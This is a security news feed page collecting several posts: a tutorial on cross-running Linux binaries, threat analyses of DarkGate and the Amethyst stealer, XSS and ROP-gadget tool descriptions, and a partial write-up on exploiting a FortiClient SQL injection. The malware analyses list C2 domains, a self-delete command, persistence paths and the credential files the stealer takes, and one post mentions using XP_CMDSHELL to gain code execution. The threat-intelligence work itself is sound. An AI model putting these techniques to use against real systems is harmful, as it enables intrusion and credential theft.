Normal view

There are new articles available, click to refresh the page.
Today — 5 June 2024Main stream

Cross-Execute Your Linux Binaries, Don’t Cross-Compile Them

5 June 2024 at 14:32

Lolbins? Where we’re going, we don’t need lolbins.

At NCC Group, as a consultant in our hardware and embedded systems practice1, I often get to play with various devices, which is always fun, but getting your own software to run on them can be a bit of a pain.
This article documents a few realisations and tricks that make my life easier. There is nothing new about anything mentioned here, but there is also hardly anything written about these (ab)use cases.

The challenges we are looking to solve are:

  • Running standard Linux tools on your embedded device
  • Compiling your own tools to run on the embedded device
  • Running binaries from the embedded device on your PC

This can often be achieved by cross-compiling and/or statically compiling the target binary. It is very much a valid approach, but it can also be time-consuming, even when you’re seasoned at this sort of thing. So, the approach described here does not do that.

Taking the dependency libraries with you

The realisation is that while dynamically linked binaries need some of the environment, it is actually not that hard to figure out what that environment is and to copy it over to the system where you want to run the binary.

Consider the example of running strace from an arm64 Raspberry Pi on an arm64 Android phone.

Just copying won’t work, since Android differs too much from common Linux distributions:

pi@rpi:~ $ adb push `which strace` /data/local/tmp
/usr/bin/strace: 1 file pushed, 0 skipped. 16.0 MB/s (1640712 bytes in 0.098s)
pi@rpi:~ $ adb exec-out /data/local/tmp/strace -ttewrite /bin/echo X
/system/bin/sh: /data/local/tmp/strace: No such file or directory
pi@rpi:~ $ adb exec-out ldd /data/local/tmp/strace 
    linux-vdso.so.1 => [vdso] (0x73edb38000)
CANNOT LINK EXECUTABLE "linker64": library "libc.so.6" not found: needed by main executable

We can list the dependencies. strace depends on the dynamic linker, libraries and often on some special bits like VDSO.

pi@rpi:~ $ ldd `which strace`
    linux-vdso.so.1 (0x0000007faf464000)
    libc.so.6 => /lib/aarch64-linux-gnu/libc.so.6 (0x0000007faf0b0000)
    /lib/ld-linux-aarch64.so.1 (0x0000007faf427000)

We can copy the dependencies and use the appropriate dynamic linker to load them (the first highlighted bit enumerates the dependencies):

pi@rpi:~ $ bin=`which strace`; adb push $bin $(ldd $bin | sed -nre 's/^[^/]*(\/.*) \(0x.*\)$/\1/p') /data/local/tmp/
/usr/bin/strace: 1 file pushed, 0 skipped. 19.4 MB/s (1640712 bytes in 0.081s)
/lib/aarch64-linux-gnu/libc.so.6: 1 file pushed, 0 skipped. 23.7 MB/s (1651472 bytes in 0.067s)
/lib/ld-linux-aarch64.so.1: 1 file pushed, 0 skipped. 18.6 MB/s (202904 bytes in 0.010s)
3 files pushed, 0 skipped. 19.0 MB/s (3495088 bytes in 0.176s)
pi@rpi:~ $ adb exec-out /data/local/tmp/ld-linux-aarch64.so.1 --library-path /data/local/tmp/ /data/local/tmp/strace -ttewrite /bin/echo X
10:36:27.842717 write(1, "X\n", 2X
)      = 2
10:36:27.845895 +++ exited with 0 +++

There, perfect, we have strace on our device now, and it only took two ugly one-liners.

Installing that odd architecture on your PC

My preferred way of setting up a cross architecture Linux chroot is using debootstrap and schroot. This assumes you are using a distribution from a Debian family (I do see there’s debootstrap for Fedora as well, haven’t tried it though).

Logan Chien posted this nice and short guide2, which basically boils down to following three sections:

Setting up the tools

kali@kali:~$ apt install debootstrap qemu-user-static schroot

Installing a base system

kali@kali:~$ sudo debootstrap --arch=arm64 bookworm ~/chroots/arm64-test
...
I: Base system installed successfully.

This takes a minute or two and installs a base Debian Bookworm system for arm64. The distribution names come from Debian (http://ftp.debian.org/debian/dists/) or Ubuntu (http://archive.ubuntu.com/ubuntu/dists/). For the architecture names navigate into subfolders (for example http://ftp.debian.org/debian/dists/bookworm/main/). If you need a less common architecture try the testing channel, which supports riscv64 for example.

Setting up schroot

kali@kali:~$ echo "[arm64-test] 
directory=$HOME/chroots/arm64-test
users=$(whoami)
root-users=$(whoami)
type=directory" | sudo tee /etc/schroot/chroot.d/arm64-test

Now you can enter the chroot:

kali@kali:~$ schroot -c arm64-test
(arm64-test)kali@kali:~$ uname -a
Linux kali 6.5.0-kali3-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.5.6-1kali1 (2023-10-09) aarch64 GNU/Linux
(arm64-test)kali@kali:~$ logout
kali@kali:~$ schroot -c arm64-test -u root
(arm64-test)root@kali:/home/kali# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),119(wireshark),142(kaboxer)

Finish

So, here you have it. Install the wanted binary, and copy it to your target device like we did before from Raspberry Pi.

(arm64-test)kali@kali:~$ # sudo apt install strace adb
...
(arm64-test)kali@kali:~$ bindeps() { echo "$1" $(ldd "$1" | sed -nre "s/^[^/]*(\/.*) \(0x.*\)$/\1/p"); }
(arm64-test)kali@kali:~$ for i in $(bindeps `which strace`); do adb push $i /data/local/tmp/; done
/usr/bin/strace: 1 file pushed, 0 skipped. 13.3 MB/s (1640712 bytes in 0.117s)
/lib/aarch64-linux-gnu/libc.so.6: 1 file pushed, 0 skipped. 14.0 MB/s (1651472 bytes in 0.113s)
/lib/ld-linux-aarch64.so.1: 1 file pushed, 0 skipped. 7.4 MB/s (202904 bytes in 0.026s)
(arm64-test)kali@kali:~$ adb shell
sargo:/ $ xrun() { k=/data/local/tmp; bin=$1; shift; $k/ld* --library-path $k $k/$bin "$@"; }
sargo:/ $ xrun strace -tte write /bin/echo X
16:31:59.159266 write(1, "X\n", 2X ) = 2 16:31:59.163322 +++ exited with 0 +++

Cross-compiling without cross-compiling

Well, now you have a full Linux distribution of your chosen architecture running, so you can just compile any special tools. Sure, it is emulated through QEMU under the hood, but for anything smallish one does not even notice the performance hit.

And you have avoided dealing with a toolchain to cross-compile for that one-off task.

Running the device’s binaries on your PC

In the above examples the binary we wished to run was copied onto the target device. Occasionally, one wants to do the reverse, run the binary from the device locally on your PC.

The exact same approach should work, and for anything non-trivial I would recommend a custom setup chroot, so you can easily place the required files in the correct locations (and it is also easy to later delete it all).

For a simple tool though, one can get away by using QEMU:

kali@kali:~/android_test$ adb exec-out 'bindeps() { echo "$1" $(ldd "$1" | sed -nre "s/^[^/]*(\/.*) \(0x.*\)$/\1/p"); }; bindeps `which dexdump`' | xargs -n1 adb pull
/apex/com.android.art/bin/dexdump: 1 file pulled, 0 skipped. 11.6 MB/s (108744 bytes in 0.009s)
/apex/com.android.art/lib64/libdexfile.so: 1 file pulled, 0 skipped. 4.7 MB/s (347040 bytes in 0.070s)
/apex/com.android.art/lib64/libartpalette.so: 1 file pulled, 0 skipped. 2.0 MB/s (14896 bytes in 0.007s)
/apex/com.android.art/lib64/libbase.so: 1 file pulled, 0 skipped. 13.3 MB/s (251152 bytes in 0.018s)
/apex/com.android.art/lib64/libartbase.so: 1 file pulled, 0 skipped. 20.8 MB/s (497272 bytes in 0.023s)
/apex/com.android.art/lib64/libc++.so: 1 file pulled, 0 skipped. 8.1 MB/s (671496 bytes in 0.079s)
/apex/com.android.art/lib64/libziparchive.so: 1 file pulled, 0 skipped. 1.2 MB/s (79752 bytes in 0.066s)
/apex/com.android.runtime/lib64/bionic/libc.so: 1 file pulled, 0 skipped. 26.1 MB/s (1013048 bytes in 0.037s)
/apex/com.android.runtime/lib64/bionic/libdl.so: 1 file pulled, 0 skipped. 2.0 MB/s (13728 bytes in 0.006s)
/apex/com.android.runtime/lib64/bionic/libm.so: 1 file pulled, 0 skipped. 12.7 MB/s (221072 bytes in 0.017s)
/system/lib64/libz.so: 1 file pulled, 0 skipped. 6.5 MB/s (98016 bytes in 0.014s)
/system/lib64/liblog.so: 1 file pulled, 0 skipped. 5.8 MB/s (62176 bytes in 0.010s)
/system/lib64/libc++.so: 1 file pulled, 0 skipped. 25.7 MB/s (700400 bytes in 0.026s)
kali@kali:~/android_test$ adb pull /system/bin/linker64
/system/bin/linker64: 1 file pulled, 0 skipped. 13.1 MB/s (1802728 bytes in 0.131s)
kali@kali:~/android_test$ qemu-arm64 -E LD_LIBRARY_PATH=$PWD ./linker64 $PWD/dexdump
linker: Warning: failed to find generated linker configuration from "/linkerconfig/ld.config.txt"
WARNING: linker: Warning: failed to find generated linker configuration from "/linkerconfig/ld.config.txt"
dexdump E 05-02 13:14:39 1728592 1728592 dexdump_main.cc:126] No file specified
dexdump E 05-02 13:14:39 1728592 1728592 dexdump_main.cc:41] Copyright (C) 2007 The Android Open Source Project
dexdump E 05-02 13:14:39 1728592 1728592 dexdump_main.cc:41] 
dexdump E 05-02 13:14:39 1728592 1728592 dexdump_main.cc:42] dexdump: [-a] [-c] [-d] [-e] [-f] [-h] [-i] [-j] [-l layout] [-n]  [-o outfile] dexfile...
...

With the dynamic linker, dependency libraries and the target binary, we can use qemu-user to run our binary.

The observant reader will notice this differs slightly from the way ld was invoked before. It appears Android’s dynamic linker doesn’t support an argument to specify library path, so we have used LD_LIBRARY_PATH (in the first example above, we could have invoked strace this way as well: LD_LIBRRAY_PATH=/data/local/tmp /data/local/tmp/ld-linux-aarch64.so.1 /data/local/tmp/strace).

Epilogue

I hope you found this useful.

Helper functions

The list of dependencies that are to be copied along with the binary can be generated with:

$ bindeps() { echo "$1" $(ldd "$1" | sed -nre "s/^[^/]*(\/.*) \(0x.*\)$/\1/p"); }
$ bindeps `which strace`

The binary can then be run on the target device with (Note the path will need adjusting and possibly linker arguments as well):

$ xrun() { k=/data/local/tmp; bin=$1; shift; $k/ld* --library-path $k $k/$bin "$@"; }
$ xrun strace -tte write /bin/echo X

DarkGate switches up its tactics with new payload, email templates

5 June 2024 at 12:00
DarkGate switches up its tactics with new payload, email templates

This post was authored by Kalpesh Mantri. 

  • Cisco Talos is actively tracking a recent increase in activity from malicious email campaigns containing a suspicious Microsoft Excel attachment that, when opened, infected the victim's system with the DarkGate malware. 
  • These campaigns, active since the second week of March, leverage tactics, techniques, and procedures (TTPs) that we have not previously observed in DarkGate attacks. 
  • These campaigns rely on a technique called “Remote Template Injection” to bypass email security controls and to deceive the user into downloading and executing malicious code when the Excel document is opened.  
  • DarkGate has used AutoIT scripts as part of the infection process for a long time. However, in these campaigns, AutoHotKey scripting was used instead of AutoIT.  
  • The final DarkGate payload is designed to execute in-memory, without ever being written to disk, running directly from within the AutoHotKey.exe process. 

The DarkGate malware family is distinguished by its covert spreading techniques, ability to steal information, evasion strategies, and widespread impact on both individuals and organizations. Recently, DarkGate has been observed distributing malware through Microsoft Teams and even via malvertising campaigns. Notably, in the latest campaign, AutoHotKey scripting was employed instead of AutoIT, indicating the continuous evolution of DarkGate actors in altering the infection chain to evade detection. 

Email campaigns 

This research began when a considerable number of our clients reported receiving emails, each containing a Microsoft Excel file attachment that followed a distinct pattern in its naming convention. 

DarkGate switches up its tactics with new payload, email templates

Talos’ intent analysis of these emails revealed that the primary purpose of the emails primarily pertained to financial or official matters, compelling the recipient to take an action by opening the attached document. 

This peculiar trend prompted us to conduct an in-depth investigation into this widespread malspam activity. Our initial findings linked the indicators of compromise (IOCs) to the DarkGate malware.  

The table below includes some of the observed changes in attachment naming convention patterns over time.  

Start Date 

End Date 

Format 

Examples 

March 12, 2024 

March 19, 2024 

march-D%-2024.xlsx 

march-D5676-2024.xlsx 

march-D3230-2024.xlsx 

march-D2091-2024.xlsx 

March 15, 2024 

March 20, 2024 

ACH-%March.xlsx 

ACH-5101-15March.xlsx 

ACH-5392-15March.xlsx 

ACH-4619-15March.xlsx 

March 18, 2024 

March 19, 2024 

attach#%-2024.xlsx 

attach#4919-18-03-2024.xlsx 

attach#8517-18-03-2024.xlsx 

attach#4339-18-03-2024.xlsx 

March 19, 2024 

March 20, 2024 

march19-D%-2024.xlsx 

march19-D3175-2024.xlsx 

march19-D5648-2024.xlsx 

march19-D8858-2024.xlsx 

March 26, 2024 

March 26, 2024 

re-march-26-2024-%.xls? 

re-march-26-2024-4187.xlsx 

re-march-26-2024-7964.xlsx 

re-march-26-2024-4187.xls 

April 3, 2024 

April 5, 2024 

april2024-%.xlsx 

april2024-2032.xlsx 

april2024-3378.xlsx 

april2024-4268.xlsx 

April 9, 2024 

April 9, 2024 

statapril2024-%.xlsx 

statapril2024-9505.xlsx 

statapril2024-9518.xlsx 

statapril2024-9524.xlsx 

April 10, 2024 

April 10, 2024 

4_10_AC-%.xlsx* 

4_10_AC-1177.xlsx 

4_10_AC-1288.xlsx 

4_10_AC-1301.xlsx 

*Variant redirecting to JavaScript file instead of VBS. 

Victimology 

Based on Cisco Talos telemetry, this campaign targets the U.S. the most often compared to other geographic regions.

DarkGate switches up its tactics with new payload, email templates

Healthcare technologies and telecommunications were the most-targeted sectors, but campaign activity was observed targeting a wide range of industries. 

DarkGate switches up its tactics with new payload, email templates

Technical analysis 

Our telemetry indicates that malspam emails were the primary source of delivery for this campaign. It is an active campaign using attached Excel documents attempting to lure users to download and execute remote payloads.  

As shown below, the Excel spreadsheet has an embedded object with an external link to an attacker-controlled Server Message Block (SMB) file share. 

DarkGate switches up its tactics with new payload, email templates

The overall infection process associated with this campaign is shown below. 

DarkGate switches up its tactics with new payload, email templates

The infection process begins when the malicious Excel document is opened. These files were specially crafted to utilize a technique, called “Remote Template Injection,” to trigger the automatic download and execution of malicious contents hosted on a remote server. 

Remote Template Injection is an attack technique that exploits a legitimate Excel functionality wherein templates can be imported from external sources to expand a document’s functions and features. By exploiting the inherent trust users place in document files, this method skilfully evades security protocols that may not be as stringent for document templates compared to executable files. It represents a refined tactic for attackers to establish a presence within a system, sidestepping the need for conventional executable malware.  

When the Excel file is opened, it downloads and executes a VBS file from an attacker-controlled server. 

The VBS file is appended with a command that executes a PowerShell script from the DarkGate command and control (C2) server. 

DarkGate switches up its tactics with new payload, email templates

This PowerShell script retrieves the next stage’s components and executes them, as shown below. 

DarkGate switches up its tactics with new payload, email templates

Payload analysis 

On March 12, 2024, the DarkGate campaign transitioned from deploying AutoIT scripts to employing AutoHotKey scripts. 

AutoIT and AutoHotKey are scripting languages designed for automating tasks on Windows. While both languages serve similar purposes, their differences lie in their syntax complexity, feature sets and community resources. AutoHotKey offers more advanced text manipulation features, extensive support for hotkeys, and a vast library of user-contributed scripts for various purposes. While both AutoIT and AutoHotKey have legitimate purposes, they are often abused by adversaries to run malicious scripts, consistent with other scripting languages often observed in infection chains. 

As shown in the screenshot above, one of the files retrieved is ‘test.txt.’ Within this file, there is base64-encoded blob that, when decoded, transforms into binary data. This binary data is then processed to execute the DarkGate malware payload directly within memory on infected systems. 

DarkGate switches up its tactics with new payload, email templates

As shown in the previous PowerShell code, payloads are initially saved to disk within a directory (C:\rimz\) on the system. The directory name changes across infection chains that were analyzed. 

DarkGate switches up its tactics with new payload, email templates

In this case, the attacker was using a legitimate copy of the AutoHotKey binary (AutoHotKey.exe) to execute a malicious AHK script (script.ahk). 

DarkGate switches up its tactics with new payload, email templates

The executed AHK script reads content from the text file (test.txt), decodes it in memory, and executes it without ever saving the decoded DarkGate payload to disk. This file also contains shellcode that is loaded and executed by the AHK script, as shown below. 

DarkGate switches up its tactics with new payload, email templates

Persistence mechanisms 

Components used during the final stage of the infection process are stored at the following directory location: 

  • C:\ProgramData\cccddcb\AutoHotKey.exe 
  • C:\ProgramData\cccddcb\hafbccc.ahk 
  • C:\ProgramData\cccddcb\test.txt 

Persistence across reboots is established through the creation of a shortcut file within the Startup directory on the infected system. 

Shortcut Parameter 

Value 

Shortcut Location 

C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DfAchhd.lnk 

Shortcut Execution 

C:\ProgramData\cccddcb\AutoHotkey.exe  C:\ProgramData\cccddcb"C:\ProgramData\cccddcb\hafbccc.ahk 

Talos’ threat intelligence and detection response teams have successfully developed detection for these campaigns and blocked them as appropriate on Cisco Secure products. However, because of the evolving nature of recent DarkGate campaigns — as demonstrated by the shift from AutoIT to AutoHotKey scripts and use of remote template injection — serves as a stark reminder of the continuous arms race in cybersecurity. 

Coverage 

 Ways our customers can detect and block this threat are listed below.  

DarkGate switches up its tactics with new payload, email templates

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.  

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.  

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.  

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.  

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.  

Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.  

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them. 

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.  

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.  

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.  

The following Snort SIDs apply to this threat:  

  • Snort 2 SIDs: 3, 12, 11192, 13667, 15306, 16642, 19187, 23256, 23861, 44484, 44485, 44486, 44487, 44488, 63521, 63522, 63523, 63524 
  • Snort 3 SIDs: 1, 16, 260, 11192, 15306, 36376, 44484, 44486, 44488, 63521, 63522, 63523, 63524 

The following ClamAV detections are also available for this threat:  

  • Doc.Malware.DarkGateDoc 
  • Ps1.Malware.DarkGate-10030456-0 
  • Vbs.Malware.DarkGate-10030520-0 

Indicators of Compromise (IOCs) 

Indicators of Compromise (IOCs) associated with this threat can be found here.  

Below is an example of the configuration parameters extracted from one of the DarkGate payloads analyzed.  

Configuration Parameter 

Value 

C2 

hxxp://badbutperfect[.]com 

hxxp://withupdate[.]com 

hxxp://irreceiver[.]com 

hxxp://backupitfirst[.]com 

hxxp://goingupdate[.]com 

hxxp://buassinnndm[.]net 

Family 

DarkGate 

Attributes 

anti_analysis = true 

anti_debug = false 

anti_vm = true 

c2_port = 80 

internal_mutex (Provides the XOR key/maker used for DarkGate payload decryption) = WZqqpfdY 

ping_interval = 60 

startup_persistence = true 

username = admin 

X-Recon - A Utility For Detecting Webpage Inputs And Conducting XSS Scans

A utility for identifying web page inputs and conducting XSS scanning.


Features:

  • Subdomain Discovery:
  • Retrieves relevant subdomains for the target website and consolidates them into a whitelist. These subdomains can be utilized during the scraping process.

  • Site-wide Link Discovery:

  • Collects all links throughout the website based on the provided whitelist and the specified max_depth.

  • Form and Input Extraction:

  • Identifies all forms and inputs found within the extracted links, generating a JSON output. This JSON output serves as a foundation for leveraging the XSS scanning capability of the tool.

  • XSS Scanning:

  • Once the start recon option returns a custom JSON containing the extracted entries, the X-Recon tool can initiate the XSS vulnerability testing process and furnish you with the desired results!



Note:

The scanning functionality is currently inactive on SPA (Single Page Application) web applications, and we have only tested it on websites developed with PHP, yielding remarkable results. In the future, we plan to incorporate these features into the tool.




Note:

This tool maintains an up-to-date list of file extensions that it skips during the exploration process. The default list includes common file types such as images, stylesheets, and scripts (".css",".js",".mp4",".zip","png",".svg",".jpeg",".webp",".jpg",".gif"). You can customize this list to better suit your needs by editing the setting.json file..

Installation

$ git clone https://github.com/joshkar/X-Recon
$ cd X-Recon
$ python3 -m pip install -r requirements.txt
$ python3 xr.py

Target For Test:

You can use this address in the Get URL section

  http://testphp.vulnweb.com


Sapphire Werewolf polishes Amethyst stealer to attack over 300 companies

By: BI.ZONE
5 June 2024 at 08:11

The adversaries use the open-source SapphireStealer to create their own malware for collecting employee authentication data from Russian companies

Since March 2024, the BI.ZONE Threat Intelligence team has been tracking the cluster of activity dubbed Sapphire Werewolf. The threat actor targets Russia’s industries, such as education, manufacturing, IT, defense, and aerospace engineering. Over 300 attacks were carried out using Amethyst, an offshoot of the popular open-source SapphireStealer. The attackers disguise the malware as an enforcement order, a Central Election Committee leaflet, and even as a decree from the President of Russia. We can conclude, with medium confidence, that the cluster used phishing emails with T.LY links to deliver Amethyst to the target systems.

Key findings

  1. Espionage-driven adversaries increasingly often employ stealers for obtaining various authentication data.
  2. Attackers do not necessarily have to create malware from scratch. They can modify already existing commercial or open-source solutions.
  3. Catchy subject lines plus decoys with content matching the names of the malicious files increase the chances for a successful delivery of malware to target systems.

Campaign

All the malicious files used by the adversaries in the campaign have certain functional similarities.

By opening such a file a victim unknowingly creates the folder %AppData%\Microsoft\EdgeUpdate and copies to it MicrosoftEdgeUpdate.exe from Resources.MicrosoftEdgeUpdate.

To get a foothold in the compromised system, the adversaries create a task in Windows Task Scheduler. For this purpose, they use the library embedded in the executable file, FunnyCat.Microsoft.Win32.TaskScheduler.dll. This legitimate library makes it possible to create a scheduled task without actually running schtasks. The name, description, and path to the executable file in the task are disguised as a legitimate task MicrosoftEdgeUpdateTaskMachineCore. The newly created task is executed every 60 minutes after the initial launch.

Malicious task in Windows Task Scheduler

At the same time, a decoy document is written into the current folder and then opened.

Decoy document used by Sapphire Werewolf

After that, the Amethyst stealer is written to the VPN.exe file in a temporary data folder and run.

Once the program has been executed, the file is deleted via the following command: cmd.exe /C choice /C Y /N /D Y /T 3 & Del “[path to the current executable file]”.

As noted earlier, Amethyst is based on the source code of SapphireStealer, an open-source information stealer.

Running the malicious file changes the execution thread’s security zone on MyComputer and creates an asynchronous task that will later send the collected files to the C2 server.

The collected files are saved in a folder whose name is a UUID-generated string. The folder is located in a directory with temporary files.

The stealer gathers the following files:

  • Telegram configuration files from %AppData%\Telegram Desktop\tdata
  • password and cookie databases, browser and popular website histories, saved pages and configurations from the browsers Chrome, Opera, Yandex, Brave, Orbitum, Atom, Kometa, Edge Chromium, Torch, Amigo, CocCoc, Comodo Dragon, Epic Privacy Browser, Elements, CentBrowser, 360 Chrome, and 360 Browser
  • PowerShell logs stored in %AppData%\Microsoft\Windows\PowerShell\PSReadLine
  • FileZilla and SSH configuration files

The above mentioned files get archived and sent to the C2 server, after which the folder is cleared.

Once this is done, the stealer collects the following:

  • files from %UserProfile%/Downloads/Telegram Desktop with the extensions .txt, .pdf, .doc, .docx, .xls, .xlsx, .crt, .cer, .ca-bundle, .p7b, .p7c, .p7s, .pem, .key, .keystore, .jks, .p12, .pfx, .ppk, .pub, .sig, .sgn, .rsa, .rdp, .vnc, .tvc, .tvf, .amy, .ica, .plist, .lmi, .nxs, .remmina, .rvc, .json, .tf, .yml, .yaml, .dockerfile, .vncloc, .ini, .ovpn, .rtsx, .config, .jump, .x2go, and.xml
  • files from removable media, also with the said extensions

All these files get compressed into an archive and transmitted to the C2 server.

In the latest versions of Amethyst, the archive is protected by a password stored in the program memory. The archive also contains a note with the following data:

  • the compromised device’s public IP address obtained through a query to http://checkip.dyndns.org
  • the compromised device’s private IP address obtained by using C# of the Dns class
  • the compromised device’s name obtained by using the GetHostName function of the Dns class
  • the user ID obtained with the query SELECT SerialNumber FROM Win32_BaseBoard WMI and the object win32_processor => processorID
  • the unpacked archive size

The C2 server that sends the archive is a Telegram bot whose token, as well as the user ID, is in the program. It should be noted that more than one token and more than one user ID can be specified in the program to substitute the main bot or the main client if those are unavailable.

The program can also retrieve the address of an additional control server by searching through posts in the preview of a specified Telegram channel. The stealer obtains the channel preview page by querying the resource https://t.me/s/[channel ID]. The post with the С2 server address looks as follows: %N[C2 server address]?H.

The tags for the archive to be sent are as follows:

  • filename: the name of the archive
  • usertag: 1
  • stepname: Ragdoll

The MicrosoftEdgeUpdate.exe file enables the download and execution of additional files in the compromised system. Same as Amethyst, the file gets the C2 server address for downloading extra files through a post in the Telegram channel. The following parameters are also added to the query:

  • the compromised device’s public IP address obtained through a query to the network resource http://checkip.dyndns.org
  • the user ID obtained by using the query SELECT SerialNumber FROM Win32_BaseBoard WMI and the object win32_processor => processorID

The query looks as follows: [server address + protocol]/download?ip=[public IP address of the device]&uId=[device ID].

You can also see how the malware evolves over time. For example, in the files discovered about three months ago, the folder used for saving the collected data was named sapphire, which makes it evident that Amethyst originated from this stealer. Besides, at that time, the stealer did not contain any additional stages, nor did it have any mechanisms for achieving persistence in the compromised system.

A limited set of data was gathered: nothing but password and cookie databases were extracted from browsers while files from Telegram downloads and removable media were ignored. PowerShell logs were also disregarded.

In the course of our investigation, we also discovered additional information about this cluster of activity. For example, we found a list of email addresses lined up for a phishing campaign, as well as files representing a Visual Studio project of the stealer.

Amethyst project in Visual Studio

We also discovered several Microsoft Word and PDF files:

We assess with medium confidence that the adversaries planned to use the files as decoys.

Indicators of compromise

  • 301d00aeae52011530370dcf32d0b68ebdcec291d94501b90a44dcc9a714e595
  • 204bcbb030856bfbd7f4b5edad94e17e61a3d44cde88dbcf4f6a30adb786d1a6
  • 5c01531a6b7f25b92e9a2d0d67fe7057813140d2c60dc0bb356b190aa91a5857

MITRE ATT&CK

More indicators of compromise and a detailed description of threat actor tactics, techniques, and procedures are available on the BI.ZONE Threat Intelligence portal.

Detection

The BI.ZONE EDR rules below can help organizations detect the described malicious activity:

  • win_creation_task_that_run_file_from_suspicious_folder
  • win_possible_browser_stealer_activity
  • win_suspicious_access_to_software_sensitive_files

We would also recommend that you monitor suspicious activity related to:

  • running suspicious executable files from the %Temp% folder
  • running executables resembling system files from unusual folders
  • creating scheduled tasks not typical for the organization
  • opening sensitive files through unusual processes
  • accessing external finders of IP addresses

How to protect your company from such threats

Sapphire Werewolf’s methods of gaining persistence are hard to detect with preventive security solutions. Therefore, we recommend that companies enhance their cybersecurity with endpoint detection and response practices, for instance, with the help of BI.ZONE EDR.

To stay ahead of threat actors, you need to be aware of the methods used in attacks against different infrastructures and to understand the threat landscape. For this purpose, we would recommend that you leverage the data from the BI.ZONE Threat Intelligence portal. The solution provides information about current attacks, threat actors, their methods and tools. This data helps to ensure the effective operation of security solutions, accelerate incident response, and protect from the most critical threats to the company.

An Introduction to Chrome Exploitation - Maglev Edition

5 June 2024 at 00:00
Introduction Originally, I intended to write a simple note on the Maglev compiler and how to adjust V8 shellcode from Linux to Windows. But as I started, the project grew unexpectedly. I found myself diving into some prerequisites like the V8 pipeline and a root cause analysis of CVE-2023-4069, the bug we are about to explore. What began as a brief memo soon unfolded into a deeper exploration and I hope the reader will find some benefits from these additional insights.
Yesterday — 4 June 2024Main stream

Revolutionizing digital identity, data privacy and data security | Guest Raj Ananthanpillai

By: Infosec
4 June 2024 at 18:00

Today on Cyber Work, my guest is Raj Ananthanpillai, CEO of Trua, a company that is steeped in the current issues around digital credentials and data privacy. As you’ve no doubt heard, AT&T reported a data breach that compromised the personal information of approximately 7.6 million users! Ananthanpillai discusses Trua’s mission to leave data thieves holding an empty treasure chest, discusses his past work in creating TSA PreCheck and gives a bunch of great ideas and advice for making sure that you’re always thinking beyond your current position by learning and creating your way upward! All that, and a WHOLE bunch of vitriol at the industry-standard collecting of social security numbers, today on Cyber Work!

0:00 - Revolutionizing data privacy
4:20 - How Ananthanpillai got into cybersecurity
6:11 - Work as a cybersecurity CEO
9:25 - Fast tracking in cybersecurity roles
11:08 - Take your first steps in cybersecurity work
13:01 - Founding Trua
17:50 - New digital security protocols
21:10 - AT&T data breach
27:03 - How to stay safe from data breaches
29:58 - How to work in data privacy
35:14 - Skill gaps in data privacy work
37:05 - Best cybersecurity career advice
38:26 - Learn more about Trua
41:00 - Outro

– Get your FREE cybersecurity training resources: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

About Infosec
Infosec’s mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQ’s security awareness training. Learn more at infosecinstitute.com.

💾

ROPDump - A Command-Line Tool Designed To Analyze Binary Executables For Potential Return-Oriented Programming (ROP) Gadgets, Buffer Overflow Vulnerabilities, And Memory Leaks


ROPDump is a tool for analyzing binary executables to identify potential Return-Oriented Programming (ROP) gadgets, as well as detecting potential buffer overflow and memory leak vulnerabilities.


Features

  • Identifies potential ROP gadgets in binary executables.
  • Detects potential buffer overflow vulnerabilities by analyzing vulnerable functions.
  • Generates exploit templates to make the exploit process faster
  • Identifies potential memory leak vulnerabilities by analyzing memory allocation functions.
  • Can print function names and addresses for further analysis.
  • Supports searching for specific instruction patterns.

Usage

  • <binary>: Path to the binary file for analysis.
  • -s, --search SEARCH: Optional. Search for specific instruction patterns.
  • -f, --functions: Optional. Print function names and addresses.

Examples

  • Analyze a binary without searching for specific instructions:

python3 ropdump.py /path/to/binary

  • Analyze a binary and search for specific instructions:

python3 ropdump.py /path/to/binary -s "pop eax"

  • Analyze a binary and print function names and addresses:

python3 ropdump.py /path/to/binary -f



CVE-2023-48788: Revisiting Fortinet FortiClient EMS to Exploit 7.2.X

4 June 2024 at 11:42

Introduction

Our last blog post on the FortiClient EMS SQL injection vulnerability, CVE-2023-48788, as it turns out only worked on 7.0.x versions. This article will discuss the differences in exploitation between FortiClient EMS’s two mainline versions: 7.0.x and 7.2.x.

When writing exploits for different versions of vulnerable software, the differences in the exploit are usually small, such as different offsets, renamed parameters, or changed endpoints. Exploitation of the 7.2.x attack path for CVE-2023-48788 was an interesting challenge, because the core vulnerability and endpoint being attacked were the same, but the code path traversed was largely different.

A quick review of the previous article shows that this vulnerability affects ‘binary components’ of this software suite. Rather than this being a web application based SQL injection, this SQL injection is performed against an endpoint written in C++ and Golang and compiled for a 64 bit x86 Windows target. It also uses a custom linefeed based protocol.

Windows and SQL injection? Sounds like XP_CMDSHELL. Delicious.

XP_CMDSHELL is a type of SQL stored procedure used to evaluate custom commands on input or output data. A trivial example would be to use the XP_CMDSHELL procedure to hash a user password before storing its digest in a registered users table.

Attackers, however, frequently abuse this capability to turn SQL Injection into Remote Code Execution. That is how the exploit we designed for NodeZero gains access to vulnerable EMS servers.

